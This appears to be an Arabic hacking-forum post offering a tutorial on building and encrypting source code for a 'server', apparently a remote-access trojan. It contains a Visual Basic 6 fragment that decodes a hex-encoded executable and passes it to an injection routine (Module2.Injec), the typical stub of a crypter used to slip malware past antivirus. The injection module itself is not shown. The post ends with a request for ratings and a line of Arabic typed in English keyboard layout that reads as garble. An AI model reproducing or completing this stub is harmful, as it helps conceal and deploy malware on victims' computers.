
شرح عمل سورس كود لأي سرفر مع تشفيره الشرح بصور تابعوا




















الكود
كود:
Public Function HexStringToByteArray(ByRef HexString As String) As Byte()
Dim bytOut() As Byte, bytHigh As Byte, bytLow As Byte, lngA As Long
If LenB(HexString) Then
ReDim bytOut(Len(HexString) \ 2 - 1)
For lngA = 1 To LenB(HexString) Step 4
bytHigh = AscW(MidB$(HexString, lngA, 2)) - 48
bytLow = AscW(MidB$(HexString, lngA + 2, 2)) - 48
If bytHigh > 9 Then bytHigh = bytHigh - 7
If bytLow > 9 Then bytLow = bytLow - 7
bytOut(lngA \ 4) = (bytHigh * &H10) Or bytLow
Next lngA
HexStringToByteArray = bytOut
End If
End Function
Public Function facebook()
Module2.Injec ExE, hck(), vbNullString
End Function
لاتحرمون من تقيمكم و الله تعبت في عمل الشرح.gif)
ulg s,vs ;,] gHd svtv ,jatdv lp'l gg;g lu jatdvi hgavp fw,v